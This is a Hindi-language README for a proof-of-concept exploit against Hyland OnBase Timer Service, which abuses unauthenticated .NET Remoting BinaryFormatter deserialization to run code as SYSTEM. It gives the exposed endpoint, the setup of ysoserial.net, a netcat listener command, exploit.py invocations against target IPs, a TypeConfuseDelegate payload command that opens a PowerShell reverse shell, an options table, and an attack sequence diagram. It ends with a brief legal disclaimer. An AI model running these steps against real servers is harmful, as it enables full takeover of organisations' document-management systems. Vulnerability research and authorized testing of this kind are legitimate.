
Hyland OnBase Timer Service में .NET Remoting BinaryFormatter deserialization के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन के लिए proof-of-concept शोषण, जो SYSTEM विशेषाधिकार प्राप्त करता है।
इस रिपॉजिटरी में Hyland OnBase Timer Service की अनधिकृत रिमोट कोड निष्पादन भेद्यता के लिए एक Proof‑of‑Concept एक्सप्लॉइट शामिल है, जो असुरक्षित .NET Remoting BinaryFormatter deserialization के माध्यम से होती है।
यह भेद्यता एक अनधिकृत हमलावर को Timer Service एंडपॉइंट पर एक क्राफ्टेड BinaryFormatter पेलोड भेजने और NT AUTHORITY\SYSTEM के रूप में मनमाना कोड निष्पादित करने की अनुमति देती है।
Timer Service एक .NET Remoting एंडपॉइंट उजागर करता है:
http://TARGET:8900/TimerServiceAPI.rem
सेवा अनधिकृत BinaryFormatter ऑब्जेक्ट स्वीकार करती है। एक दुर्भावनापूर्ण गैजेट श्रृंखला (ysoserial.net) प्रदान करके, deserialization के दौरान मनमाना कमांड निष्पादन होता है।
Python निर्भरता स्थापित करें:
pip install requests
ysoserial.net डाउनलोड करें:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
स्क्रिप्ट एक ysoserial कमांड प्रिंट करती है। इसे दूसरे टर्मिनल (Windows / Mono) में चलाएँ:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
पेलोड जनरेशन के बाद एक्सप्लॉइट टर्मिनल में ENTER दबाएँ।
यदि भेद्य है → रिवर्स शेल कनेक्ट हो जाता है।
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| विकल्प | विवरण |
|---|---|
| target | लक्ष्य IP या होस्टनाम |
| --port | Timer Service पोर्ट (डिफ़ॉल्ट 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | हमलावर IP |
| --lport | लिसनर पोर्ट |
| --gadget | ysoserial गैजेट श्रृंखला |
एक्सप्लॉइट ब्लाइंड है
सफलता = रिवर्स शेल कॉलबैक
सेवा SYSTEM के रूप में चलती है
अवरुद्ध होने पर वैकल्पिक गैजेट आज़माएँ:
sequenceDiagram
participant A as Attacker
participant Y as ysoserial.net
participant T as Target OnBase Timer Service
participant S as SYSTEM Shell
A->>A: Start netcat listener
A->>Y: Generate BinaryFormatter payload
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Execute gadget chain
S-->>A: Reverse shell connectionयह एक्सप्लॉइट निम्नलिखित के लिए प्रदान किया गया है:
उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की अनुमति आपके पास नहीं है, अवैध है।